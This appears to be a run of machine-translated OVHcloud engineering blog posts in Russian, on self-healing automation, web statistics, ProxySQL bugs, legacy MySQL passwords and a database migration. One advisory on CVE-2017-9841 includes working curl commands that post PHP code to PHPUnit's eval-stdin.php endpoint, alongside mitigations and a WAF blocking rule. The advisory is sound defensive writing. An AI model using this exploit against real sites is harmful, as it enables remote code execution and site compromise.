Вступление

С почти 6000000 веб-сайтов, размещенных на более чем 15000 серверах, команда OVHcloud Webhosting SRE управляет множеством предупреждений в течение рабочего дня.

Наша инфраструктура постоянно растет, но для плавного масштабирования время, затрачиваемое на решение предупреждений, не должно увеличиваться пропорционально.

Поэтому нам нужны инструменты, которые нам помогут. В нашей команде мы называем это самоисцелением.

Что такое самоисцеление ?

Selfheal относится к автоматизации решения оповещения в производственных условиях. Автоматизированный процесс может исправить известные проблемы без вмешательства администратора.

Зачем нам это нужно?

Мы должны максимально ограничить время, которое мы тратим на устранение предупреждений. У нас есть не только время для запуска и обслуживания инфраструктуры, но и для того, чтобы оставаться в курсе последних событий.

При таком количестве серверов, которыми мы управляем, небольшая проблема может представлять собой десятки предупреждений.

Нам нужно работать эффективно, автоматизируя как можно больше производственных операций.

Оборудование

Для ежедневного обслуживания миллиардов HTTP-запросов требуется много ресурсов, поэтому мы часто используем физические серверы в наших центрах обработки данных.

Даже один физический сервер требует серьезной поддержки. Требуется много времени для диагностики, планирования простоев, запроса и управления вмешательством с группами центров обработки данных или даже для переустановки операционной системы в случае неисправности диска.

Мы не можем позволить себе тратить часы на повторяющиеся задачи, если их можно автоматизировать.

Программного обеспечения

Даже если программное обеспечение кажется предсказуемым, оно все равно будет терпеть неудачу. Это верно даже при управлении базовой инфраструктурой, содержащей миллионы строк неизвестного кода, предоставленного нашим клиентом.

Хотя мы стараемся иметь стабильный программный стек, мы не можем предсказать все поведение. Многие проблемы с программным обеспечением можно решить с помощью перезапуска или быстрого исправления, а многие из этих операций также можно автоматизировать.

Мы должны как можно меньше предупреждать дежурных администраторов, только когда это абсолютно необходимо.

Идея состоит в том, чтобы регистрировать каждое действие, выполненное самовосстановлением, для выявления ошибок или шаблонов ошибок, а затем работать над долгосрочными исправлениями.

Selfheal на веб — хостинг

В Webhosting мы разделяем selfheal на две части:

1. Внешнее самовосстановление, которое обрабатывает проблемы с оборудованием или все, что не может быть решено самим хостом.
2. Внутреннее самовосстановление, предназначенное для решения программных проблем в данной системе.

В этой статье мы обсудим внешнюю часть.

Внешнее самоисцеление

Контекст:

Как мы уже говорили ранее, внешняя часть нашего selfheal в основном предназначена для решения аппаратных проблем, которые не могут быть решены одним сервером.

Для этого мы создали небольшое приложение-микросервис, которое отслеживает и отслеживает события.

Мы могли выбрать существующий инструмент (например, StackStorm), но мы этого не сделали. Вот почему:

• Создание микросервисов в OVH действительно просто и быстро.
• Структурированные, подробные и простые журналы с уникальным идентификатором uuid для отслеживания каждой задачи самовосстановления в нашей внутренней системе журналов (что позволяет нам легко строить графики). 
• Простая интеграция с нашими существующими инструментами и экосистемой 
• Быстрое и простое развертывание во всех наших регионах
• Простой CI / CD (модульное тестирование и т. Д.)
• Пользовательские уведомления, например чат-бот
• Интеллект и история

Как это устроено

Все начинается с нашего мониторинга, который отбрасывает пробы серверов и отправляет все предупреждения в теме Kafka.

Приложение использует события Kafka, а затем мгновенно реагирует на правильный рабочий процесс, в зависимости от проблемы.

Приложение отреагирует соответствующим рабочим процессом в зависимости от полученного предупреждения. Он делает это, выполняя правильный вызов API для наших различных служб и инструментов.

Все выполненные действия сохраняются. Это избавляет от необходимости выполнять одно и то же исправление несколько раз на данном сервере и выявлять сложные проблемы.

Конкретный пример замены неисправного диска

Одним из самых трудоемких предупреждений, которые нам пришлось решить, была замена неисправного жесткого диска, обнаруженного при проверке SMART.

Поскольку у нас нет состояния, многие наши серверы используют один диск без настройки рейда. Это также означает замену диска для переустановки хоста; но, надеюсь, это можно сделать с помощью одного вызова API.

Чтобы управлять этим предупреждением, администратор должен был выполнить следующие действия:

1. Поставьте сервер на обслуживание, чтобы истощить запросы клиентов
2. Создайте запрос центра обработки данных на замену жесткого диска
3. Переустановите сервер

Весь этот процесс может занять до 3 часов и его сложно выполнить вручную (управление несколькими проблемами одновременно).

Первое, что мы сделали, — автоматизировали проверку зондом.

Затем мы решили автоматизировать все это с помощью простого рабочего процесса в нашем приложении с самовосстановлением, а затем организовать вызов API.



Благодаря этому процессу мы можем заменять диски каждый день без каких-либо ручных действий со стороны администратора.

Заключить

В прошлом месяце наш внешний инструмент самовосстановления запросил более 70 вмешательств в центры обработки данных для команд центров обработки данных, что представляет собой большую экономию времени.

Мы победили по реактивности. Больше нет задержки между обнаружением предупреждения и его обработкой.

Оповещения обрабатываются мгновенно при обнаружении системой мониторинга. Это помогает нам вести чистый список невыполненных работ по мониторингу и избегать «пакетных» решений по оповещениям, которые были сложными как для нас, так и для DC.

Теперь мы просто обрабатываем предупреждения, которые невозможно решить с помощью автоматизации, и сосредотачиваемся на критических случаях, когда взаимодействие администратора является ценным и необходимым.

Если вы когда-либо управляли или редактировали веб-сайт, у вас наверняка будет опыт отслеживания просмотров страниц и статистики посещений.

Если это так, то эта статья для вас! Будьте готовы вступить в 2020 год с совершенно новым интерфейсом!

Немного истории

На рынке есть несколько решений, которые помогут вам анализировать посещения вашего веб-сайта.

Существуют два метода, которые помогут вам собрать эту информацию:

• Вставьте код на свой веб-сайт, чтобы отслеживать ваши посещения, и отправьте эти результаты третьей стороне, чтобы они были обработаны.
• Сохраняйте контроль над своими данными: анализируйте собственные необработанные журналы для вычисления соответствующих показателей

В 2004 году, чтобы обеспечить безопасность ваших данных, мы решили использовать локальное решение под названием Urchin… но пришло время меняться!

Почему?

• Urchin был куплен Google, и программное обеспечение больше не выпускается. Таким образом, с 2012 года он не развивался.
• Urchin основан на Flash Player. Поддержка Flash Player прекращена, и в 2020 году он будет остановлен компанией Adobe. Поддержки для него больше не будет.
• Это не лучший опыт.
• Urchin не позволяет пользователям визуализировать статистику субдоменов. (пример: app.mydomain.com)

Как мы предоставляем статистику вашего сайта?

Ежедневно мы вычисляем статистику по нескольким миллионам сайтов. Это особое требование, и существует несколько решений для его удовлетворения.

Что это за потребности:

• Возможность максимально быстро вычислить статистику всех веб-сайтов.
• Сводные данные для отображения анонимных данных.
• Не встраивайте код / ​​трекер на свой сайт
• Иметь простой в использовании интерфейс, соответствующий сегодняшним стандартам
• Дайте вам возможность видеть на уровне поддоменов вашу статистику
• Перенесите предыдущую статистику из Urchin, чтобы не потерять ее

Долгое время мы пытались избежать эффекта «придумано не здесь», потому что восстановление статистического инструмента — не наша основная работа. Поэтому мы перепробовали множество решений на рынке. Открытый исходный код или нет. Бесплатно или с лицензией. И мы не нашли решения, способного масштабировать наше количество журналов и вычислять статистику для всех веб-сайтов, которые мы размещаем!

Итак, мы решили разработать альтернативное решение и предложили его по умолчанию для всех: OVHcloud Web Statistics (или OWStats).

Так что нового?

Новый пользовательский интерфейс для быстрой визуализации наиболее актуальной статистики



Вы можете найти несколько разделов:

• Панель управления : сводка действий в вашем домене с помощью панели управления. 
• Браузеры : дополнительная техническая информация о различных браузерах и платформах, используемых для посещения вашего домена.
• Геолокация : какая страна / регион посещает ваш домен (данные анонимны, поэтому это только общий обзор).
• Запросы : Обзор самых просматриваемых страниц
• Роботы : Анализ ботов, посещающих ваш домен
• Статус : эволюция кода статуса и страницы с ошибками, которые следует изучить.

Было бы проще, если бы мы показали несколько картинок, не так ли?

Ну конечно бы! Здесь у вас есть:

Панель управления:



Страница геолокации:



И страницы статуса:

Некоторые цифры

Благодаря этому новому инструменту мы можем вычислять вашу статистику до 8 раз быстрее.
Мы также вычисляем 2,5 ТБ логов в день!

Хотите больше информации?

Этот пост является предварительным просмотром нашей входящей службы веб-статистики OVH. Мы вернемся к вам с дополнительными сообщениями о технических деталях по мере приближения даты выпуска!

Этот пост — еще одна часть нашего списка коротких постов, в которых описываются конкретные случаи, с которыми сталкивался OVHcloud как при подготовке к миграции, так и во время нее. Здесь мы рассказываем историю о том, как иногда небольшое неожиданное поведение может привести к исправлению ошибки в программном обеспечении, используемом миллионами людей по всему миру.



В этом посте я объяснил, как нам пришлось продвинуть proxySQL за его пределы.

Жюльен объяснил здесь, насколько сложно перехватить часть программы и заставить ее работать для очень специфического случая использования. Один настолько специфический, что мы просто не могли продвинуть его вверх по течению, поскольку мы нарушали некоторые предположения в базовом коде (что-то вроде «смотри, мы не используем это, может быть, мы можем отклонить его, чтобы он соответствовал нашему использованию»).

Но иногда, копаясь все глубже и глубже в строках кода, расширяя границы программ с открытым исходным кодом все дальше и дальше, мы обнаруживаем ошибки.

Вот два реальных случая, когда у нас было неожиданное поведение ProxySQL, в результате чего появился патч для MariaDB / MySQL.

1. Важность цитирования

Неожиданное поведение

Когда мы впервые начали использовать ProxySQL, у нас было неожиданное поведение. ProxySQL раньше зависал. Ни предупреждения, ни предвестника. Зависание означает, что ProxySQL не может обрабатывать ваши запросы, в результате чего ваши веб-сайты становятся недоступными.

Копать

Системные администраторы знают, что в случае сомнений проверяйте журналы. Вот что мы сделали и заметили вот это:

[ОШИБКА] Обнаружено разорванное соединение во время SET NAMES на 192.168.59.272, 3306: 2019, Невозможно инициализировать набор символов (null) (путь: compiled_in)

ОШИБКА 1064 (42000): у вас есть ошибка в синтаксисе SQL; проверьте руководство, которое соответствует вашей версии сервера MySQL, чтобы найти правильный синтаксис для использования рядом с «двоичным» в строке 1

Это явно ошибка, возвращенная сервером MySQL. Поскольку эта строка журнала была создана на ProxySQL, это означает, что ошибка произошла между нашим ProxySQL и сервером MySQL.

В поисках золота

Жюльен много работал — он прочитал тонны журналов, отследил множество PID и отследил проблему вплоть до ИСПОЛЬЗОВАНИЯ триггерного случая, выполнив эту команду:

set names binary COLLATE binary;

Сопоставление — это своего рода набор правил для сравнения строк. Он может определять, например, при сортировке по алфавиту, если Aидет раньше a, éследует ли рассматривать как eили нет, или где œдолжно быть в алфавите.

Вы можете узнать больше об этом в Базе знаний MariaDB.

Исправление

Отправив сообщение об обнаруженной нами проблеме в системе отслеживания ошибок ProxySQL и предложив исправление, автор ProxySQL взглянул и подтвердил ошибку.

При написании ProxySQL Рене Канна делал то же, что и все разработчики, — следовал документации коннектора MariaDB. И ошибка была отсюда:

According to the documentation on SET NAMES syntax (https://dev.mysql.com/doc/refman/5.7/en/set-names.html) :

charset_name and collation_name may be quoted or unquoted

This doesn't seem true for "SET NAMES binary COLLATE binary" , that requires the collation name to be quoted.

(https://bugs.mysql.com/bug.php?172id=93692)

Эффект бабочки

Итак, из-за зависания нашей инфраструктуры мы сообщили об ошибке создателю проекта, который затем отследил ее до ошибки в коннекторе MariaDB, проследил ее до родительского MySQL и исправил в восходящем направлении. Ошибка была закрыта в начале 2020 года.

Тем временем мы работали с г-ном Канна, чтобы найти обходной путь (в основном, заставляя имя сортировки указывать в коде ProxySQL).

2. Когда провода перекрещиваются

Во время написания этой статьи я вспомнил еще один забавный баг. Я решил проверить статус этой ошибки и заметил, что мы никогда о ней не сообщали. Моя ошибка исправлена.

Неожиданное поведение

При использовании некоторых реальных, но экзотических кодировок на ProxySQL (нам также нравятся сложные сценарии, поэтому мы стараемся тестировать их как можно больше), у нас была ошибка ProxySQL, в которой говорилось, что мы использовали неправильную кодировку.

MySQL_Session.cpp:2964:handler(): [WARNING] Error during query on (42,192.168.59.272,3306): 1267, Illegal mix of collations (utf8_general_ci,IMPLICIT) and (dec8_swedish_ci,COERCIBLE) for operation '='

Копать

Конечно, в первую очередь мы проверили, что мы используем настоящую и допустимую кодировку и соответствующее сопоставление. Мы дважды и трижды проверили, что нам разрешено использовать dec8_swedish_ci.

Мы решили взглянуть на исходный код коннектора.

В поисках золота

Если вам интересно, вы можете взглянуть на более старые версии кода libmariadb / my_charset.c, начиная со строки 541. Вы заметите, что dec8_swedish_ci нигде не найти. Но если вы присмотритесь, вы заметите dec8_swedisch_ci. Дорогие друзья из Швеции, опечатка была сделана не только вами.

Исправление

При устранении проблемы с экзотическими кодировками мы применили специальный патч к нашей собственной сборке ProxySQL. Сгоряча, мы отложили сообщение об ошибке.

Мы разделили репозиторий GitHub mariadb-corporation / mariadb-connector-c , исправили несколько опечаток и предложили запрос на перенос, который затем был объединен в середине февраля.

Эффект бабочки

Все склонны к опечаткам и ошибкам. С некоторыми мы столкнулись, они были исправлены и портированы для всех.

Вывод

Как ведущий поставщик веб-хостинга в Европе, мы сталкиваемся с законом действительно больших чисел ( en.wikipedia.org/wiki/Law_of_truly_large_numbers ). TL; DR: произойдет каждое событие с ненулевой вероятностью.

У нас размещено более 1,3 миллиона веб-сайтов. Предположим, что 0,0001% наших клиентов могут вызвать одну конкретную ошибку — у нас есть по крайней мере 1 клиент, который ее вызовет. Вопрос не в том, если, а в том, когда нам придется с этим бороться и как это сделать.

Хотите знать, как мы заметили, что попали в Закон действительно больших чисел? Следите за обновлениями, ведь мы скоро напишем об этом.

Поделиться заботой

OVHCloud любит открытый исходный код и любит делиться. Это не первый раз, когда мы вносим свой вклад в мир открытого исходного кода, и определенно не последний.

Как подробно объяснялось в предыдущем посте, миграция P19 означала, что нам нужно было добавить новый элемент в нашу инфраструктуру… а именно ProxySQL.



Поначалу жизнь была для него непростой, но вскоре он научился обрабатывать широкий спектр конфигураций ваших веб-сайтов, особенно когда дело доходит до того, чтобы путь подключения к вашим данным всегда был свободным.

Подключение баз данных 101

Вернемся к тому, как пользователь подключается к своей базе данных MySQL / MariaDB без ProxySQL…

Пользователь использует клиент MySQL и предоставляет хост / IP, имя пользователя и пароль.



С этой точки зрения все кажется довольно простым. Но в реальной жизни все не так просто…

Во-первых, за эти годы MySQL эволюционировал, чтобы исправить различные проблемы с безопасностью, такие как удаление старого алгоритма аутентификации. Наша инфраструктура пытается не отставать от всех этих изменений, но при переходе со старых версий на новейшую версию всегда есть задержка, особенно потому, что некоторые из этих изменений могут повлиять на ваш веб-сайт.

Однако нам повезло, так как клиенты и серверы MySQL имеют хороший уровень обратной совместимости.

Так что же тогда?



Теперь мы ближе к реальности.

А теперь давайте добавим к этой картинке нашего маленького друга ProxySQL!

Первые часы жизни ProxySQL в OVHcloud

ProxySQL — очень хорошая и полезная программа. Его основная задача — установить соединение с вашей базой данных от вашего имени. Таким образом, устанавливается соединение, ProxySQL просматривает базу данных в своей конфигурации, проверяет учетные данные, предоставленные пользователем, и, если они действительно действительны, действует как клиент MySQL для подключения к фактическому серверу MySQL.



С этой точки зрения все кажется довольно простым. Но в реальной жизни все не так просто… Погодите, я уже это говорил?

Добавим в эту картину наше полное разнообразие, просто для удовольствия! Помните наши версии MySQL? Были упомянуты две конкретные версии…

MySQL5.6

Это последняя версия на OVHcloud. Что интересно в этой конкретной версии, так это то, что механизм аутентификации является последним и лучшим из MySQL. Он генерирует 41-байтовый хэш, изменение, которое было введено в MySQL 4.1.

Фактическая версия, которая была у нас в P19, была MySQL5.5, но эти две версии очень похожи с практической точки зрения.

MySQL5.1

Довольно старый материал, но у нас все еще есть экземпляры, которые его используют.

Некоторые клиенты, использующие эту версию, перешли с MySQL4.0 и сохранили пароли, сгенерированные этой версией. Для простоты мы будем называть их « MySQL5.1 со старыми паролями ». В этой версии используется 16-байтовый хэш, который является слабым и подверженным перехватам.

Так что же тогда?



Вот и мы! Путь нашего ProxySQL проходит не так гладко, поскольку он не может аутентифицироваться в MySQL 4.0. В этом есть смысл, поскольку он был написан спустя много времени после того, как была прекращена поддержка MySQL 4.0.

Тем не менее, нам нужно было найти решение, которое учитывало бы устаревшую аутентификацию и предотвращало сбои для веб-сайтов, использующих эти соединения.

Под капотом: история подключения к MySQL

Как мы подчеркнули ранее, для подключения к серверу MySQL необходимо предоставить три параметра:

• Хозяин (скажем, 

  mysqlXXX.sqlXXX

  )
• Пользователь
• Пароль

Интересная часть здесь — это пароль, так как он изменился между двумя версиями.

Очевидно, что MySQL не хранит ваш пароль в виде обычного текста, а вместо этого хранит хэш. Чтобы позволить ProxySQL подключиться, хеш вставляется в его внутреннюю базу данных, после чего подключение становится возможным.

Существуют три типа паролей:

• Простой текст

• mysql_native_password

   (41-байтовый хеш)

• old_password

   (16-байтовый хеш)

ProxySQL поддерживает только первые два… и поэтому не может подключиться к вашей замечательной, но устаревшей базе данных.

Каковы наши пути решения?

Самым простым решением было бы, как вы понимаете, обновить пароли для использования нового алгоритма.

Однако мы не храним ваши пароли!

В некоторых случаях нам удавалось вычислить это, но с учетом значительного числа клиентов, столкнувшихся с этой проблемой (более 50 000… помните 1% из более чем одного миллиона?), Это было невозможно.

Первым шагом было научить наш ProxySQL обрабатывать соединение от клиента. Спустя несколько патчей наш ProxySQL гордился своей новой функцией и мог выполнять эту задачу.

Представим это на картинке:



Но мы определенно не хотели хранить эти старые пароли навсегда… поэтому нам пришлось вести себя гадко.

Помните, что единственная информация, которая у нас была, — это устаревший хешированный пароль, который был единственным источником информации, который мы могли передать ProxySQL. Чтобы упростить ситуацию, вот ситуация, в которой мы находимся:



Нам нужно было дать нашему клиенту ProxySQL пароль, но мы не смогли добавить старый пароль (да и не хотели!).

В конце концов, решение заключалось в том, чтобы взять старый хэш пароля и сделать из него новый. Таким образом, у нас будет новый пароль в правильном формате!



Поскольку клиент ProxySQL и сервер MySQL скрыты от пользователя, все было нормально, но мы не могли этого сделать на сервере ProxySQL (вы же хотите сохранить тот же пароль, верно?).

К счастью для нас, у нас было поле пароля в виде обычного текста, которое осталось неиспользованным, поэтому мы могли использовать его для хранения вашего OLD_HASH и завершения цепочки аутентификации.



Мы сделали это! Наконец-то вы можете получить доступ к своей базе данных!

Давайте проясним здесь… Это все очень временно, и, как было сказано в предыдущей статье, мы не хотим поддерживать разветвленную версию ProxySQL, в которой мы не можем обновлять исходный код, поскольку все это очень устаревшее и конкретный.

Вывод

Трудно поддерживать широкий спектр программного обеспечения с несовместимыми версиями!

Чтобы убедиться, что миграция оказала минимальное влияние, нам пришлось исправить множество мелких деталей. В конкретном случае, подробно описанном в этой статье, у нас были проблемы со старыми паролями MySQL, и, учитывая временную шкалу, мы не могли попросить пользователей MySQL5.1 изменить свои пароли. Но после небольшого взлома мы смогли начать миграцию… даже для устаревшей аутентификации!

Опять же, это была лишь одна из проблем, с которыми мы столкнулись при настройке ProxySQL и адаптации его к нашим очень специфическим требованиям. Помните, что работа с устаревшим программным обеспечением — сложная и ответственная задача, но ее невозможно избежать! Это то, что мы сделали с переходом на P19, и что мы будем продолжать делать, чтобы постоянно улучшать предлагаемые вам услуги.

Недавно обнаруженное ранее нарушение безопасности CVE (Common Vulnerabilities and Exposures), CVE-2017-9841, снова привлекло внимание благодаря предупреждению системы безопасности PrestaShop. К сожалению, он уже некоторое время эксплуатируется «в дикой природе».

Какие риски?

CVE-2017-9841 Уязвимость позволяет злоумышленнику удаленно запускать PHP — код на несовершенных сайтов, эксплуатируя брешь в PHPUnit.

Это может позволить пользователю, например:

• Доступ к конфиденциальному контенту на целевом веб-сайте (файлы, учетные данные базы данных, контент базы данных…)
• Изменить содержимое файлов
• Рассылать спам
• Установить вредоносное ПО

Ниже вы найдете иллюстрацию того, как можно использовать эту уязвимость:

Установите уязвимую версию PHPUnit с помощью композитора


В этом примере мы предполагаем, что:

• Composer уже установлен и присутствует в переменной среды PATH
• DocumentRoot веб-сайта находится в $ {HOME} / www.
• Доменное имя сайта demo-cve.ovh

$ composer --no-cache --working-dir=${HOME}/www require phpunit/phpunit 5.6.2
./composer.json has been created
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 26 installs, 0 updates, 0 removals
  - Installing symfony/polyfill-ctype (v1.13.1): Downloading (100%)         
  - Installing symfony/yaml (v3.4.36): Downloading (100%)         
  - Installing sebastian/version (2.0.1): Downloading (100%)         
  - Installing sebastian/resource-operations (1.0.0): Downloading (100%)         
  - Installing sebastian/recursion-context (1.0.5): Downloading (100%)         
  - Installing sebastian/object-enumerator (1.0.0): Downloading (100%)         
  - Installing sebastian/global-state (1.1.1): Downloading (100%)         
  - Installing sebastian/exporter (1.2.2): Downloading (100%)         
  - Installing sebastian/environment (2.0.0): Downloading (100%)         
  - Installing sebastian/diff (1.4.3): Downloading (100%)         
  - Installing sebastian/comparator (1.2.4): Downloading (100%)         
  - Installing doctrine/instantiator (1.3.0): Downloading (100%)         
  - Installing phpunit/php-text-template (1.2.1): Downloading (100%)         
  - Installing phpunit/phpunit-mock-objects (3.4.4): Downloading (100%)         
  - Installing phpunit/php-timer (1.0.9): Downloading (100%)         
  - Installing phpunit/php-file-iterator (1.4.5): Downloading (100%)         
  - Installing sebastian/code-unit-reverse-lookup (1.0.1): Downloading (100%)         
  - Installing phpunit/php-token-stream (2.0.2): Downloading (100%)         
  - Installing phpunit/php-code-coverage (4.0.8): Downloading (100%)         
  - Installing webmozart/assert (1.6.0): Downloading (100%)         
  - Installing phpdocumentor/reflection-common (2.0.0): Downloading (100%)         
  - Installing phpdocumentor/type-resolver (1.0.1): Downloading (100%)         
  - Installing phpdocumentor/reflection-docblock (4.3.4): Downloading (100%)         
  - Installing phpspec/prophecy (1.10.1): Downloading (100%)         
  - Installing myclabs/deep-copy (1.9.4): Downloading (100%)         
  - Installing phpunit/phpunit (5.6.2): Downloading (100%)         
symfony/yaml suggests installing symfony/console (For validating YAML files using the lint command)
sebastian/global-state suggests installing ext-uopz (*)
phpunit/php-code-coverage suggests installing ext-xdebug (^2.5.1)
phpunit/phpunit suggests installing phpunit/php-invoker (~1.1)
phpunit/phpunit suggests installing ext-xdebug (*)
Package phpunit/phpunit-mock-objects is abandoned, you should avoid using it. No replacement was suggested.
Writing lock file
Generating autoload files

На удаленной машине мы воспользуемся уязвимостью и расшифруем текст в кодировке base64 с помощью PHP.

$ curl -XPOST --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

Имейте в виду, что уязвимость также может быть использована другими методами HTTP, кроме POST. Например:

$ curl -XGET --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XPUT --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XDELETE --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XOPTIONS --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XPATCH --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

Как видите, эксплойт довольно простой, но очень мощный. Легко представить, какой вред может произойти.

Как уменьшить уязвимость?

Изначально нарушение было исправлено PHPUnit, когда впервые была раскрыта CVE. Однако не все поставщики CMS (например, PrestaShop) обновили версию, включенную в процесс установки.

Более того, PHPUnit не предназначен для использования на критических путях обслуживания веб-страниц. Это означает, что нет случаев использования, когда PHPUnit должен быть доступен для внешних HTTP-запросов.

Так что исправить довольно просто: нужно сделать PHPUnit недоступным.

Если обновления CMS недоступны (или не могут быть применены), можно выполнить любое из следующих действий:

• Удалите модуль PHPUnit:
  
  • Через композитор (если установка производилась с помощью композитора)

$ composer --working-dir=${HOME}/www remove phpunit/phpunit
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 0 installs, 0 updates, 26 removals
  - Removing webmozart/assert (1.6.0)
  - Removing symfony/yaml (v3.4.36)
  - Removing symfony/polyfill-ctype (v1.13.1)
  - Removing sebastian/version (2.0.1)
  - Removing sebastian/resource-operations (1.0.0)
  - Removing sebastian/recursion-context (1.0.5)
  - Removing sebastian/object-enumerator (1.0.0)
  - Removing sebastian/global-state (1.1.1)
  - Removing sebastian/exporter (1.2.2)
  - Removing sebastian/environment (2.0.0)
  - Removing sebastian/diff (1.4.3)
  - Removing sebastian/comparator (1.2.4)
  - Removing sebastian/code-unit-reverse-lookup (1.0.1)
  - Removing phpunit/phpunit-mock-objects (3.4.4)
  - Removing phpunit/phpunit (5.6.2)
  - Removing phpunit/php-token-stream (2.0.2)
  - Removing phpunit/php-timer (1.0.9)
  - Removing phpunit/php-text-template (1.2.1)
  - Removing phpunit/php-file-iterator (1.4.5)
  - Removing phpunit/php-code-coverage (4.0.8)
  - Removing phpspec/prophecy (1.10.1)
  - Removing phpdocumentor/type-resolver (1.0.1)
  - Removing phpdocumentor/reflection-docblock (4.3.4)
  - Removing phpdocumentor/reflection-common (2.0.0)
  - Removing myclabs/deep-copy (1.9.4)
  - Removing doctrine/instantiator (1.3.0)
Generating autoload files

• Удалите установочную папку

$ rm -rf ${HOME}/www/vendor/phpunit

• Блокировать HTTP-запросы к URL-адресу, достигающему модуля PHPUnit

$ cat << EOF > ${HOME}/www/.htaccess 
<IfModule mod_rewrite.c>
     RewriteEngine On
     RewriteRule ^vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php$ - [F]
</IfModule>
EOF

• Запретить HTTP-запросы, нацеленные на папку «vendor»

$ cat << EOF > ${HOME}/www/vendor/.htaccess
Require all denied
EOF

Как веб-хостинг OVHcloud защищает вас?

Клиенты OVHcloud Web Hosting чрезвычайно разнообразны, поэтому исправления могут потребовать слишком много времени, чтобы применить их на каждом отдельном веб-сайте.

Поэтому мы решили применить высокоуровневую защиту для платформ веб-хостинга OVHcloud.

Ниже вы найдете простую схему инфраструктуры веб-хостинга OVHcloud:

• IPLB (балансировщики нагрузки OVHcloud) являются точкой входа в кластеры веб-хостинга. Они несут свои IP-адреса и заботятся об их высокой доступности и балансировке нагрузки. Они передают запросы в « WAF ».
• WAF (брандмауэр веб-приложений) обрабатывает весь трафик и может действовать как фильтр. Они направляют запросы на веб-серверы . « WAF » — это серверы верхнего уровня в стеке кластера. Они также очень доступны.
• Веб-серверы отвечают за обслуживание ресурсов и выполнение сред (PHP, Node.js…).

Чтобы защитить всех пользователей нашего веб-хостинга OVHcloud, мы решили заблокировать все запросы к /phpunit/src/Util/PHP/eval-stdin.php со стороны WAF до того, как они достигнут наших веб-серверов.

Технически наше решение WAF основано на Naxsi. Поэтому на практике мы добавили правило для сопоставления и отклонения всех запросов с шаблоном «/phpunit/src/Util/PHP/eval-stdin.php», которое охватывает все методы HTTP. Заблокированные запросы вызывают ошибку HTTP 503.

Итак, если мы попробуем использовать эксплойт на сайте, размещенном на платформах веб-хостинга OVHcloud, мы получим следующий результат:

$ curl -XGET --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 
<html>
<head><title>503 Service Temporarily Unavailable</title></head> 
<body> 
<center><h1>503 Service Temporarily Unavailable</h1></center> 
<hr><center>nginx</center> 
</body> 
</html>

Ключевые цифры

Чтобы дать вам представление о масштабах этой атаки, мы заблокировали около 4,5 миллионов запросов, направленных на PHPUnit, за одну неделю, используя около 2000 различных шаблонов URL.

• Запросы, заблокированные для каждого кластера в течение одного дня:

• Самые популярные модели заблокированных запросов каждую неделю:

Некоторые лучшие практики

• Если вы используете CMS, такую ​​как WordPress , PrestaShop , Drupal , Joomla! , или Ghost , обновляйте его компоненты (т. е. ядро ​​и плагины) и по возможности включайте автоматические обновления.
• Используйте время выполнения (PHP, Node.js…), которое все еще поддерживается. Поддерживаемые версии PHP и версии, поддерживаемые Node.js , доступны по этим ссылкам.
• Не устанавливайте «пакеты разработки» в производственной среде, если они вам не нужны.
• Ограничьте доступ к ресурсам, которые не нужно размещать в Интернете. Папка «vendor» в Composer — хороший пример.
• Иметь минимальные права доступа к файлам и папкам. Например, только некоторые из них должны быть доступны для записи.

В наших предыдущих статьях мы объяснили, почему нам пришлось перенести 800 000 баз данных из одного центра обработки данных в другой, на расстоянии 300 километров. Итак, мы… Мы сделали это! Теперь мы сосредоточимся на очень важной цели любой миграции. С вашей точки зрения, как покупатель, вы должны видеть… Ничего! Я полностью это понимаю, так как я также являюсь клиентом OVH. И как клиент, оплачивающий услугу, я хочу, чтобы она работала, независимо от того, что делают люди за кулисами.



В этом посте мы увидим, как нам удалось (почти) легко переместить их всех…

Основы

Как веб-сайт подключается к базе данных, размещенной на другом сервере? Краткий ответ: по сети. Поскольку диаграмма всегда лучше, чем длинный ответ, вот упрощенное представление о том, как она работает…

Веб-сервер проверяет конфигурацию веб-сайта, чтобы определить, где находится база данных:

$database_server = 'mydatabase.mysql.db';
$database_name = 'mydatabase';
$database_user = 'mydatabase';
$database_password = 'correct horse battery staple';
# ref: https://www.xkcd.com/936/

Затем он начинает диалог с сервером доменных имен (DNS), чтобы получить IP-адрес mydatabase.mysql.db. Как только IP известен, веб-сервер может взаимодействовать с сервером базы данных.



Но наличие одного сетевого имени для каждой базы данных — это что-то относительно новое в истории OVH. Впервые он был представлен пять лет назад, а здесь описана архитектура Gravelines.

20-летнее наследие

Вначале мы давали нашим клиентам IP-адрес сервера базы данных.

С положительной стороны, вы избежали запросов к DNS-серверу, вы сэкономили время, вы избежали возможного узкого места и, возможно, даже избежали потенциальной точки отказа. С другой стороны, если нам нужно было изменить сервер, а его IP-адрес не мог быть перемещен — скажем, когда происходила миграция — каждому клиенту приходилось вручную изменять конфигурацию своего веб-сайта.

$database_server = '10.0.59.42';
$database_name = 'mydatabase';
$database_user = 'mydatabase';
$database_password = 'correct horse battery staple';
